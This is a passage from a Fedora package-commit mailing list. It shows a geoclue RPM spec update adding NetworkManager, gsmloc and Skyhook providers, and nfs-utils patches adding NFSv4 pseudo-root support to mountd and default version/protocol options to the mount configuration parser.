 BuildRequires: GConf2-devel
 BuildRequires: gtk2-devel
 BuildRequires: NetworkManager-devel
+BuildRequires: NetworkManager-glib-devel
 BuildRequires: gypsy-devel
 BuildRequires: gpsd-devel
 BuildRequires: gtk-doc
+
 # Require these until we move back to a formal release
 BuildRequires: libtool
 BuildRequires: automake
@@ -65,7 +71,6 @@ Developer documentation for geoclue
 %package gui
 Summary: Testing gui for geoclue
 Group: Development/Libraries
-Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
 %description gui
@@ -73,28 +78,36 @@ Testing gui for geoclue
 
 %package gpsd
 Summary: gpsd provider for geoclue
-Group: Development/Libraries
+Group: System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: gpsd
 
 %description gpsd
 A gpsd provider for geoclue
 
 %package gypsy
 Summary: gypsy provider for geoclue
-Group: Development/Libraries
+Group: System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: gypsy
 
 %description gypsy
 A gypsy provider for geoclue
 
+%package gsmloc
+Summary: gsmloc provider for geoclue
+Group: System Environment/Libraries
+Requires: %{name} = %{version}-%{release}
+
+%description gsmloc
+A gsmloc provider for geoclue
+
 %prep
 %setup -q
+%patch0 -p1 -b .nm08
+%patch1 -p1 -b .fixgpsd
 
 %build
 ./autogen.sh
-%configure --disable-static --enable-gtk-doc
+%configure --disable-static --enable-gtk-doc --enable-networkmanager=yes --enable-gypsy=yes --enable-skyhook=yes --enable-gsmloc=yes
 make %{?_smp_mflags}
 
 %install
@@ -125,6 +138,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Localnet.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Manual.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Plazes.service
+%{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Skyhook.service
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Yahoo.service
 %{_datadir}/geoclue-providers/geoclue-example.provider
 %{_datadir}/geoclue-providers/geoclue-geonames.provider
@@ -132,6 +146,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/geoclue-providers/geoclue-localnet.provider
 %{_datadir}/geoclue-providers/geoclue-manual.provider
 %{_datadir}/geoclue-providers/geoclue-plazes.provider
+%{_datadir}/geoclue-providers/geoclue-skyhook.provider
 %{_datadir}/geoclue-providers/geoclue-yahoo.provider
 %{_libexecdir}/geoclue-example
 %{_libexecdir}/geoclue-geonames
@@ -140,6 +155,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/geoclue-manual
 %{_libexecdir}/geoclue-master
 %{_libexecdir}/geoclue-plazes
+%{_libexecdir}/geoclue-skyhook
 %{_libexecdir}/geoclue-yahoo
 
 %files devel
@@ -168,14 +184,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/geoclue-providers/geoclue-gypsy.provider
 %{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gypsy.service
 
+%files gsmloc
+%defattr(-,root,root,-)
+%{_libexecdir}/geoclue-gsmloc
+%{_datadir}/geoclue-providers/geoclue-gsmloc.provider
+%{_datadir}/dbus-1/services/org.freedesktop.Geoclue.Providers.Gsmloc.service
+
 %changelog
+* Mon Oct 24 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.9
+- New git snapshit, enable NetworkManager support for WiFi location, gsmloc and new Skyhook plugin
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11.1.1-0.8.20090310git3a31d26
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Thu Jul 23 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.7.%{gitdate}git%{git_version}
+* Thu Jul 23 2009 Peter Robinson <pbrobinson at gmail.com> 0.11.1.1-0.7
 - Move develop documentation to its own noarch package to fix RHBZ 513488
 
-* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.6.%{gitdate}git%{git_version}
+* Sat Jun 20 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.6
 - Add developer documentation
 
 * Fri Jun 19 2009 Bastien Nocera <bnocera at redhat.com> 0.11.1.1-0.4


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geoclue/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	10 Mar 2009 17:16:45 -0000	1.3
+++ sources	26 Oct 2009 13:22:26 -0000	1.4
@@ -1 +1 @@
-e7c5cede9f8e18e9bbd1fb3af78a594b  geoclue-0.11.1.1-20090310.tar.gz
+6323f039a2ce88bcc71b5cd5f31e4456  geoclue-0.11.1.1-20091026.tar.gz



From steved at fedoraproject.org  Mon Oct 26 13:26:04 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Mon, 26 Oct 2009 13:26:04 +0000 (UTC)
Subject: rpms/nfs-utils/devel nfs-utils-1.2.0-v4root-rel7.patch, NONE,
	1.1 nfs-utils-1.2.1-rc7.patch, NONE, 1.1 nfs-utils.spec, 1.246,
	1.247 nfs-utils-1.2.0-mntconf-negation.patch, 1.1,
	NONE nfs-utils-1.2.0-mntconf-vers.patch, 1.2,
	NONE nfs-utils-1.2.0-mount-vers4.patch, 1.2,
	NONE nfs-utils-1.2.0-v4root-rel6.patch, 1.1, NONE
Message-ID: <20091026132604.9CDE011C0268@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5172

Modified Files:
	nfs-utils.spec 
Added Files:
	nfs-utils-1.2.0-v4root-rel7.patch nfs-utils-1.2.1-rc7.patch 
Removed Files:
	nfs-utils-1.2.0-mntconf-negation.patch 
	nfs-utils-1.2.0-mntconf-vers.patch 
	nfs-utils-1.2.0-mount-vers4.patch 
	nfs-utils-1.2.0-v4root-rel6.patch 
Log Message:
- Updated to the latest pseudo root release (rel7).
- Added upstream 1.2.1-rc7 patch which fixes:
  - Stop ignoring the -o v4 option (bz 529407)
  - Allow network protocol roll backs when proto is set
    in the config file (bz 529864)


nfs-utils-1.2.0-v4root-rel7.patch:
 support/export/xtab.c        |    6 
 support/include/exportfs.h   |   11 +
 support/include/nfs/export.h |    3 
 support/include/nfslib.h     |    1 
 support/include/v4root.h     |   20 ++
 utils/mountd/Makefile.am     |    2 
 utils/mountd/auth.c          |    4 
 utils/mountd/cache.c         |   69 +++++--
 utils/mountd/v4root.c        |  414 +++++++++++++++++++++++++++++++++++++++++++
 9 files changed, 511 insertions(+), 19 deletions(-)

--- NEW FILE nfs-utils-1.2.0-v4root-rel7.patch ---
diff -up nfs-utils-1.2.0/support/export/xtab.c.save nfs-utils-1.2.0/support/export/xtab.c
--- nfs-utils-1.2.0/support/export/xtab.c.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/export/xtab.c	2009-10-20 08:47:26.000000000 -0400
@@ -19,7 +19,9 @@
 #include "exportfs.h"
 #include "xio.h"
 #include "xlog.h"
+#include "v4root.h"
 
+int v4root_needed;
 static void cond_rename(char *newfile, char *oldfile);
 
 static int
@@ -36,6 +38,8 @@ xtab_read(char *xtab, char *lockfn, int 
 	if ((lockid = xflock(lockfn, "r")) < 0)
 		return 0;
 	setexportent(xtab, "r");
+	if (is_export == 1)
+		v4root_needed = 1;
 	while ((xp = getexportent(is_export==0, 0)) != NULL) {
 		if (!(exp = export_lookup(xp->e_hostname, xp->e_path, is_export != 1)) &&
 		    !(exp = export_create(xp, is_export!=1))) {
@@ -48,6 +52,8 @@ xtab_read(char *xtab, char *lockfn, int 
 		case 1:
 			exp->m_xtabent = 1;
 			exp->m_mayexport = 1;
+			if ((xp->e_flags & NFSEXP_FSID) && xp->e_fsid == 0)
+				v4root_needed = 0;
 			break;
 		case 2:
 			exp->m_exported = -1;/* may be exported */
diff -up nfs-utils-1.2.0/support/include/exportfs.h.save nfs-utils-1.2.0/support/include/exportfs.h
--- nfs-utils-1.2.0/support/include/exportfs.h.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/include/exportfs.h	2009-10-20 08:47:07.000000000 -0400
@@ -12,6 +12,17 @@
 #include <netdb.h>
 #include "nfslib.h"
 
+enum nfsd_fsid {
+	FSID_DEV = 0,
+	FSID_NUM,
+	FSID_MAJOR_MINOR,
+	FSID_ENCODE_DEV,
+	FSID_UUID4_INUM,
+	FSID_UUID8,
+	FSID_UUID16,
+	FSID_UUID16_INUM,
+};
+
 enum {
 	MCL_FQDN = 0,
 	MCL_SUBNETWORK,
diff -up nfs-utils-1.2.0/support/include/nfs/export.h.save nfs-utils-1.2.0/support/include/nfs/export.h
--- nfs-utils-1.2.0/support/include/nfs/export.h.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/include/nfs/export.h	2009-10-20 08:47:07.000000000 -0400
@@ -24,6 +24,7 @@
 #define NFSEXP_FSID		0x2000
 #define	NFSEXP_CROSSMOUNT	0x4000
 #define NFSEXP_NOACL		0x8000 /* reserved for possible ACL related use */
-#define NFSEXP_ALLFLAGS		0xFFFF
+#define NFSEXP_V4ROOT       0x10000
+#define NFSEXP_ALLFLAGS		0x1FFFF
 
 #endif /* _NSF_EXPORT_H */
diff -up nfs-utils-1.2.0/support/include/nfslib.h.save nfs-utils-1.2.0/support/include/nfslib.h
--- nfs-utils-1.2.0/support/include/nfslib.h.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/support/include/nfslib.h	2009-10-20 08:47:07.000000000 -0400
@@ -88,6 +88,7 @@ struct exportent {
 	int             e_fslocmethod;
 	char *          e_fslocdata;
 	char *		e_uuid;
+	void *		e_v4root;
 	struct sec_entry e_secinfo[SECFLAVOR_COUNT+1];
 };
 
diff -up /dev/null nfs-utils-1.2.0/support/include/v4root.h
--- /dev/null	2009-10-15 16:13:05.251004788 -0400
+++ nfs-utils-1.2.0/support/include/v4root.h	2009-10-20 08:47:16.000000000 -0400
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2009 Red Hat <nfs at redhat.com>
+ * support/include/v4root.h
+ *
+ * Support routines for dynamic pseudo roots.
+ *
+ */
+
+#ifndef V4ROOT_H
+#define V4ROOT_H
+
+extern int v4root_needed;
+
+extern struct exportent *v4root_chkroot(int , unsigned int , char *);
+extern struct exportent *v4root_export(char *, int);
+extern struct exportent *v4root_lookup(char *, nfs_export *);
+extern void v4root_free(struct exportent *);
+extern void v4root_unset(void), v4root_set(void);
+
+#endif /* V4ROOT_H */
diff -up nfs-utils-1.2.0/utils/mountd/auth.c.save nfs-utils-1.2.0/utils/mountd/auth.c
--- nfs-utils-1.2.0/utils/mountd/auth.c.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/utils/mountd/auth.c	2009-10-20 08:47:26.000000000 -0400
@@ -20,6 +20,7 @@
 #include "exportfs.h"
 #include "mountd.h"
 #include "xmalloc.h"
+#include "v4root.h"
 
 enum auth_error
 {
@@ -98,10 +99,13 @@ auth_reload()
 		last_inode = stb.st_ino;
 	}
 
+	v4root_unset();
 	export_freeall();
 	memset(&my_client, 0, sizeof(my_client));
 	xtab_export_read();
 	check_useipaddr();
+	v4root_set();
+
 	++counter;
 
 	return counter;
diff -up nfs-utils-1.2.0/utils/mountd/cache.c.save nfs-utils-1.2.0/utils/mountd/cache.c
--- nfs-utils-1.2.0/utils/mountd/cache.c.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/utils/mountd/cache.c	2009-10-20 08:47:21.000000000 -0400
@@ -32,23 +32,12 @@
 #include "xmalloc.h"
 #include "fsloc.h"
 #include "pseudoflavors.h"
+#include "v4root.h"
 
 #ifdef USE_BLKID
 #include "blkid/blkid.h"
 #endif
 
-
-enum nfsd_fsid {
-	FSID_DEV = 0,
-	FSID_NUM,
-	FSID_MAJOR_MINOR,
-	FSID_ENCODE_DEV,
-	FSID_UUID4_INUM,
-	FSID_UUID8,
-	FSID_UUID16,
-	FSID_UUID16_INUM,
-};
-
 /*
  * Support routines for text-based upcalls.
  * Fields are separated by spaces.
@@ -135,6 +124,8 @@ void auth_unix_gid(FILE *f)
 	if (readline(fileno(f), &lbuf, &lbuflen) != 1)
 		return;
 
+	xlog(D_CALL, "auth_unix_gid: '%s'", lbuf);
+
 	cp = lbuf;
 	if (qword_get_int(&cp, &uid) != 0)
 		return;
@@ -391,6 +382,12 @@ void nfsd_fh(FILE *f)
 
 	auth_reload();
 
+	/* Check to see if the kenel is looking for the pseudo root */
+	if ((found = v4root_chkroot(fsidtype, fsidnum, fhuuid))) {
+		found_path = strdup(found->e_path);
+		goto found;
+	}
+
 	/* Now determine export point for this fsid/domain */
 	for (i=0 ; i < MCL_MAXTYPES; i++) {
 		nfs_export *next_exp;
@@ -511,7 +508,23 @@ void nfsd_fh(FILE *f)
 		 */
 		goto out;
 	}
+	if (!found) {
+		/*
+		 * See if this is a pesudo export
+		 */
+		switch(fsidtype) {
+		case FSID_UUID4_INUM:
+		case FSID_UUID8:
+		case FSID_UUID16:
+		case FSID_UUID16_INUM:
+			found = v4root_export(fhuuid, uuidlen);
+			break;
+		}
+		if (found)
+			found_path = strdup(found->e_path);
+	}
 
+found:
 	if (found)
 		if (cache_export_ent(dom, found, found_path) < 0)
 			found = 0;
@@ -629,6 +642,7 @@ void nfsd_export(FILE *f)
 	int found_type = 0;
 	struct in_addr addr;
 	struct hostent *he = NULL;
+	struct exportent *v4root = NULL;
 
 
 	if (readline(fileno(f), &lbuf, &lbuflen) != 1)
@@ -663,10 +677,18 @@ void nfsd_export(FILE *f)
 				     path[l] == '/' &&
 				     is_mountpoint(path)))
 					/* ok */;
-				else
+				else {
+					/* See if the path is part of the psuedo root */
+					if (v4root_needed && !v4root) 
+						v4root = v4root_lookup(path, exp); 
 					continue;
-			} else if (strcmp(path, exp->m_export.e_path) != 0)
+				}
+			} else if (strcmp(path, exp->m_export.e_path) != 0) {
+				/* See if the path is part of the psuedo root */
+				if (v4root_needed && !v4root) 
+					v4root = v4root_lookup(path, exp); 
 				continue;
+			}
 			if (use_ipaddr) {
 				if (he == NULL) {
 					if (!inet_aton(dom, &addr))
@@ -705,17 +727,28 @@ void nfsd_export(FILE *f)
 	}
 
 	if (found) {
+		xlog(D_CALL, "nfsd_export: found: path %s", path);
 		if (dump_to_cache(f, dom, path, &found->m_export) < 0) {
 			xlog(L_WARNING,
 			     "Cannot export %s, possibly unsupported filesystem"
 			     " or fsid= required", path);
 			dump_to_cache(f, dom, path, NULL);
 		}
-	} else {
+	} else if (v4root) {
+		xlog(D_CALL, "nfsd_export: vroot: path %s", path);
+		dump_to_cache(f, dom, path, v4root);
+		found = (nfs_export *)v4root;
+	} else { 
 		dump_to_cache(f, dom, path, NULL);
 	}
  out:
-	xlog(D_CALL, "nfsd_export: found %p path %s", found, path ? path : NULL);
+	/*
+	 * If a psuedo export was create and its not needed
+	 * free it up.
+	 */
+	if (v4root && found != (nfs_export *)v4root)
+		v4root_free(v4root);
+
 	if (dom) free(dom);
 	if (path) free(path);
 	if (he) free(he);
@@ -743,7 +776,9 @@ void cache_open(void) 
 		if (!manage_gids && cachelist[i].cache_handle == auth_unix_gid)
 			continue;
 		sprintf(path, "/proc/net/rpc/%s/channel", cachelist[i].cache_name);
-		cachelist[i].f = fopen(path, "r+");
+		if ((cachelist[i].f = fopen(path, "r+")) == NULL)
+			xlog(L_ERROR, "cache_open: Unable to open '%s': errno %d (%s)", 
+				path, errno, strerror(errno));
 	}
 }
 
diff -up nfs-utils-1.2.0/utils/mountd/Makefile.am.save nfs-utils-1.2.0/utils/mountd/Makefile.am
--- nfs-utils-1.2.0/utils/mountd/Makefile.am.save	2009-10-20 08:46:50.000000000 -0400
+++ nfs-utils-1.2.0/utils/mountd/Makefile.am	2009-10-20 08:47:16.000000000 -0400
@@ -8,7 +8,7 @@ KPREFIX		= @kprefix@
 sbin_PROGRAMS	= mountd
 
 mountd_SOURCES = mountd.c mount_dispatch.c auth.c rmtab.c cache.c \
-		 svc_run.c fsloc.c mountd.h
+		 svc_run.c fsloc.c v4root.c mountd.h
 mountd_LDADD = ../../support/export/libexport.a \
 	       ../../support/nfs/libnfs.a \
 	       ../../support/misc/libmisc.a \
diff -up /dev/null nfs-utils-1.2.0/utils/mountd/v4root.c
--- /dev/null	2009-10-15 16:13:05.251004788 -0400
+++ nfs-utils-1.2.0/utils/mountd/v4root.c	2009-10-20 08:47:33.000000000 -0400
@@ -0,0 +1,414 @@
+/*
+ * Copyright (C) 2009 Red Hat <nfs at redhat.com>
+ *
+ * support/export/v4root.c
+ *
+ * Routines used to support NFSv4 pseudo roots
+ *
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/queue.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <ctype.h>
+
+#include <uuid/uuid.h>
+#include <unistd.h>
+#include <errno.h>
+
+#include "xlog.h"
+#include "exportfs.h"
+#include "nfslib.h"
+#include "misc.h"
+#include "v4root.h"
+
+#ifndef _PATH_PSEUDO_ROOT
+#define _PATH_PSEUDO_ROOT		"/"
+#endif
+
+#ifndef _PSEUDO_ROOT_FSID
+#define _PSEUDO_ROOT_FSID	0
+#endif
+
+extern int get_uuid(char *path, char *uuid, int uuidlen, char *u);
+
+#define HASH_TABLE_SIZE 1021
+typedef struct _hash_head {
+	TAILQ_HEAD(export_list, _exports_t) h_head;
+} hash_head;
+hash_head exports_tbl[HASH_TABLE_SIZE];
+
+typedef struct _exports_t {
+	TAILQ_ENTRY(_exports_t) list;
+	char *path;
+	hash_head *head;
+	char uuid_len;
+	char uuid[sizeof(uuid_t)];
+	struct exportent p_export;
+} exports_t;
+
+
+
+static exports_t *hash_export_lookup(char *, unsigned int);
+static void hash_export_add(struct _exports_t *, int);
+static void hash_mount_free(void);
+
+static inline unsigned int strtoint(char *str, int len)
+{
+	unsigned int n = 0;
+	int i;
+
+	for (i=0; i < len; i++)
+		n+=((int)str[i])*i;
+	return n;
+}
+static inline int hashint(unsigned int num)
+{
+	return num % HASH_TABLE_SIZE;
+}
+#define HASH(_s, _l) hashint(strtoint((_s), (_l)))
+void v4root_set(void);
+void v4root_unset(void);
+static int v4root_support(void);
+
+static struct exportent *v4root_create(char *, nfs_export *);
+
+int v4root_needed;
+
+static nfs_export pr_export = {
+	.m_next = NULL,
+	.m_client = NULL,
+	.m_export = {
+		.e_hostname = "*",
+		.e_path = _PATH_PSEUDO_ROOT,
+		.e_flags = NFSEXP_READONLY | NFSEXP_ROOTSQUASH
+				| NFSEXP_NOSUBTREECHECK | NFSEXP_FSID
+				| NFSEXP_CROSSMOUNT | NFSEXP_V4ROOT,
+		.e_anonuid = 65534,
+		.e_anongid = 65534,
+		.e_squids = NULL,
+		.e_nsquids = 0,
+		.e_sqgids = NULL,
+		.e_nsqgids = 0,
+		.e_fsid = 0,
+		.e_mountpoint = NULL,
+	},
+	.m_exported = 0,
+	.m_xtabent = 1,
+	.m_mayexport = 1,
+	.m_changed = 0,
+	.m_warned = 0,
+};
+static nfs_export *pseudo_root;
+
+/*
+ * Return the number '/' in the path
+ */
+inline static int slash_count(char *path)
+{
+	int i, slashs=0;
+
+	for (i=0; i < strlen(path); i++) {
+			if (path[i] == '/')
+				slashs++;
+	}
+	return slashs;
+}
+/*
+ * Make sure the kernel has pseudo root support.
+ */
+static int
+v4root_support()
+{
+	static int kernel_support = -1;
+	char *ptr, version[64];
+	int major, minor;
+	FILE *fp;
+
+	if (kernel_support != -1)
+		return kernel_support;
+
+	kernel_support = 0;
+	fp = fopen("/proc/fs/nfsd/exports", "r");
+	if (fp == NULL)
+		goto out;
+
+	ptr = fgets(version, 64, fp);
+	fclose(fp);
+	if (ptr == NULL)
+		goto out;
+
+	while(*ptr && isdigit(*ptr) == 0)
+		ptr++;
+	if (*ptr == '\0')
+		goto out;
+
+	major = minor = 0;
+	sscanf(ptr, " %d.%d",&major, &minor);
+	if (major >= 1 && minor >= 2)
+		kernel_support = 1;
+out:
+	if (!kernel_support) {
+		xlog(L_WARNING, "Kernel does not have pseudo root support.");
+		xlog(L_WARNING, "NFS v4 mounts will be disabled unless fsid=0");
+		xlog(L_WARNING, "is specfied in /etc/exports file.");
+	}
+
+	return kernel_support;
+}
+/*
+ * Build a table of pseudo exports by running through
+ * the real export looking at the components of the path
+ * that make up the export. Those path components, if
+ * not exported, will become pseudo exports allowing them 
+ * to be found when the kernel does an upcall looking for 
+ * components of the v4 mount.
+ */
+void
+v4root_set()
+{
+	nfs_export	*exp, *nxt;
+	int	i;
+	char *path, *ptr;
+	char *hostname;
+
+	if (!v4root_needed)
+		return;
+
+	if (!v4root_support())
+		return;
+
+	pseudo_root = &pr_export;
+
+	for (i = 0; i < MCL_MAXTYPES; i++) {
+		for (exp = exportlist[i].p_head; exp; exp = nxt) {
+			nxt = exp->m_next;
+			hostname = exp->m_export.e_hostname;
+
+			path = strdup(exp->m_export.e_path);
+			ptr = path + 1;
+			while ((ptr = strchr(ptr, '/')) != NULL) {
+				*ptr = '\0';
+				if (export_lookup(hostname, path, 0) == NULL)
+					if (v4root_create(path, exp) == NULL) {
+						xlog(L_WARNING, "v4root_set: Unable to create"
+							"pseudo export for '%s'", path);
+						break;
+					}
+				*ptr = '/';
+				ptr++;
+			}
+
+			free(path);
+		}
+	}
+}
+
+/*
+ * Unset the pseudo root export
+ */
+void
+v4root_unset()
+{
+	pseudo_root = NULL;
+	hash_mount_free();
+}
+
+/*
+ * The kernel will do an upcall looking for the pseudo
+ * root via its fsid. When the wanted fsid equals 
+ * PSEUDO_ROOT_FSID return the pseudo root export.
+ */
+struct exportent *
+v4root_chkroot(int fsidtype, unsigned int fsidnum, char *fhuuid)
+{
+	if (pseudo_root == NULL)
+		return NULL;
+
+	if (fsidtype != FSID_NUM)
+		return NULL;
+
+	if (fsidnum != _PSEUDO_ROOT_FSID)
+		return NULL;
+
+	return &pseudo_root->m_export;
+}
+
+/*
+ * Create a pseudo export, if one does not 
+ * already exist.
+ */
+static struct exportent *
+v4root_create(char *path, nfs_export *exp)
+{
+	static struct exportent *p_export = NULL;
+	exports_t *pexp;
+	char uuid_len = sizeof(uuid_t);
+	char uuid[sizeof(uuid_t)];
+
+	if (pseudo_root == NULL)
+		return NULL;
+
+	/* Check to see if the export already exists */
+	get_uuid(path, NULL, uuid_len, uuid);
+	if ((p_export = v4root_export(uuid, uuid_len)) != NULL)
+		return p_export;
+
+	pexp = (exports_t *)malloc(sizeof(exports_t));
+	if (pexp == NULL) {
+		xlog(L_WARNING, "v4root_create: No memory for pseudo export");
+		return NULL;
+	}
+	p_export = &pexp->p_export;
+	pexp->path = strdup(path);
+	if (pexp->path == 0) {
+		xlog(L_WARNING, "v4root_create: No memory for pseudo path");
+		free(pexp);
+		return NULL;
+	}
+	pexp->uuid_len = uuid_len;
+	memcpy(pexp->uuid, uuid, uuid_len);
+
+	dupexportent(&pexp->p_export, &pr_export.m_export);
+	strcpy(p_export->e_path, path);
+	p_export->e_flags &= ~NFSEXP_FSID;
+	p_export->e_v4root = (void *)pexp;
+
+	hash_export_add(pexp, HASH(pexp->uuid, sizeof(uuid_t)));
+
+	xlog(D_CALL, "v4root_create: path '%s'", p_export->e_path);
+
+	return p_export;
+}
+
+/*
+ * See if the  pseudo export exists
+ */
+struct exportent *
+v4root_lookup(char *path, nfs_export *exp)
+{
+	static struct exportent *p_export = NULL;
+	char *epath = exp->m_export.e_path;
+	int elen, plen;
+	char uuid_len = sizeof(uuid_t);
+	char uuid[sizeof(uuid_t)];
+
+	if (pseudo_root == NULL)
+		return NULL;
+
+	/* Path needs to be a subset of e_path */
+	elen = strlen(epath);
+	plen = strlen(path);
+	if (plen >= elen)
+		return NULL;
+
+	if (memcmp(path, epath, plen) != 0)
+		return NULL;
+
+	/* Now to see if the export exists */
+	get_uuid(path, NULL, uuid_len, uuid);
+	p_export = v4root_export(uuid, uuid_len);
+
+	return p_export;
+}
+
+/*
+ * Free a pseudo export
+ */
+void
+v4root_free(struct exportent *p_export)
+{
+	exports_t *pexp = (exports_t *)p_export->e_v4root;
+	hash_head *head = (hash_head *)pexp->head;
+
+	free(pexp->path);
+	TAILQ_REMOVE(&head->h_head, pexp, list);
+}
+
+/*
+ * Return a pseudo export that match the given uuid
+ */
+struct exportent *
+v4root_export(char *fhuuid, int uuidlen)
+{
+	struct exportent *p_export = NULL;
+	exports_t *pexp;
+	int len = MIN(uuidlen, sizeof(uuid_t));
+
+	if (pseudo_root == NULL)
+		return NULL;
+
+	pexp = hash_export_lookup(fhuuid, len);
+	if (pexp) {
+		p_export = &pexp->p_export;
+		xlog(D_CALL, "v4root_export: path %s", p_export->e_path);
+	}
+	return p_export;
+}
+
+/*
+ * Add pseudo export to export table
+ */
+static void hash_export_add(struct _exports_t *exp, int hash)
+{
+	hash_head *head;
+
+	head = &(exports_tbl[hash]);
+	exp->head = head;
+
+	if (TAILQ_EMPTY(&head->h_head))
+		TAILQ_INSERT_HEAD(&head->h_head, exp, list);
+	else
+		TAILQ_INSERT_TAIL(&head->h_head, exp, list);
+}
+
+/*
+ * Lookup a pseudo export using the uuid and inode number
+ */
+static exports_t *
+hash_export_lookup(char *uuid, unsigned int uuidlen)
+{
+	exports_t *pexp;
+	hash_head *head;
+	int hash = HASH(uuid, uuidlen);
+
+	head = &(exports_tbl[hash]);
+
+	TAILQ_FOREACH(pexp, &head->h_head, list) {
+		if (memcmp(pexp->uuid, uuid, uuidlen) == 0)
+			return pexp;
+	}
+	return NULL;
+
+}
+
+/*
+ * Free up pseudo export table
+ */
+static void hash_mount_free()
+{
+	hash_head *head;
+	exports_t *e1, *e2;
+	int hash;
+
+	for (hash=0; hash < HASH_TABLE_SIZE; hash++) {
+		head = &(exports_tbl[hash]);
+		if (head == NULL)
+			continue;
+		e1 = TAILQ_FIRST(&head->h_head);
+		while (e1 != NULL) {
+			free(e1->path);
+			e2 =  TAILQ_NEXT(e1, list);
+			TAILQ_REMOVE(&head->h_head, e1, list);
+			free(e1);
+			e1 = e2;
+		}
+		TAILQ_INIT(&head->h_head);
+	}
+}

nfs-utils-1.2.1-rc7.patch:
 support/include/conffile.h |    7 ++++
 utils/mount/configfile.c   |   75 ++++++++++++++++++++++++++++++++++++++++++++-
 utils/mount/network.c      |   18 ++++++++--
 utils/mount/network.h      |    2 +
 utils/mount/nfsmount.conf  |   25 ++++++++++++---
 utils/mount/stropts.c      |    9 +++++
 6 files changed, 126 insertions(+), 10 deletions(-)

--- NEW FILE nfs-utils-1.2.1-rc7.patch ---
diff --git a/support/include/conffile.h b/support/include/conffile.h
index 672020a..fe23ec2 100644
--- a/support/include/conffile.h
+++ b/support/include/conffile.h
@@ -75,4 +75,11 @@ static inline void upper2lower(char *str)
 	while ((c = tolower(*str)))
 		*str++ = c;
 }
+
+/*
+ * Default Mount options
+ */
+extern unsigned long config_default_vers;
+extern unsigned long config_default_proto;
+
 #endif				/* _CONFFILE_H_ */
diff --git a/utils/mount/configfile.c b/utils/mount/configfile.c
index e347b0e..28b722c 100644
--- a/utils/mount/configfile.c
+++ b/utils/mount/configfile.c
@@ -20,13 +20,19 @@
 #include <config.h>
 #endif
 #include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <ctype.h>
+#include <errno.h>
 
 #include "xlog.h"
+#include "mount.h"
+#include "parse_opt.h"
+#include "network.h"
 #include "conffile.h"
 
 #define KBYTES(x)     ((x) * (1024))
@@ -185,6 +191,63 @@ void free_all(void)
 		free(entry);
 	}
 }
+static char *versions[] = {"v2", "v3", "v4", "vers", "nfsvers", NULL};
+int inline check_vers(char *mopt, char *field)
+{
+	int i;
+
+	if (strncmp("mountvers", field, strlen("mountvers")) != 0) {
+		for (i=0; versions[i]; i++) 
+			if (strcasestr(mopt, versions[i]) != NULL)
+				return 1;
+	}
+	return 0;
+}
+
+unsigned long config_default_vers;
+unsigned long config_default_proto;
+/*
+ * Check to see if a default value is being set.
+ * If so, set the appropriate global value which will 
+ * be used as the initial value in the server negation.
+ */
+int inline default_value(char *mopt)
+{
+	struct mount_options *options = NULL;
+	int dftlen = strlen("default");
+	char *field;
+
+	if (strncasecmp(mopt, "default", dftlen) != 0)
+		return 0;
+
+	field = mopt + dftlen;
+	if (strncasecmp(field, "proto", strlen("proto")) == 0) {
+		if ((options = po_split(field)) != NULL) {
+			if (!nfs_nfs_protocol(options, &config_default_proto)) {
+				xlog_warn("Unable to set default protocol : %s", 
+					strerror(errno));
+			}
+		} else {
+			xlog_warn("Unable to alloc memory for default protocol");
+		}
+	} else if (strncasecmp(field, "vers", strlen("vers")) == 0) {
+		if ((options = po_split(field)) != NULL) {
+			if (!nfs_nfs_version(options, &config_default_vers)) {
+				xlog_warn("Unable to set default version: %s", 
+					strerror(errno));
+				
+			}
+		} else {
+			xlog_warn("Unable to alloc memory for default version");
+		}
+	} else 
+		xlog_warn("Invalid default setting: '%s'", mopt);
+
+	if (options)
+		po_destroy(options);
+
+	return 1;
+}
 /*
  * Parse the given section of the configuration 
  * file to if there are any mount options set.
@@ -207,6 +270,12 @@ conf_parse_mntopts(char *section, char *arg, char *opts)
 		snprintf(buf, BUFSIZ, "%s=", node->field);
 		if (opts && strcasestr(opts, buf) != NULL)
 			continue;
+		/* 
+		 * Protocol verions can be set in a number of ways
+		 */
+		if (opts && check_vers(opts, node->field))
+			continue;
+
 		if (lookup_entry(node->field) != NULL)
 			continue;
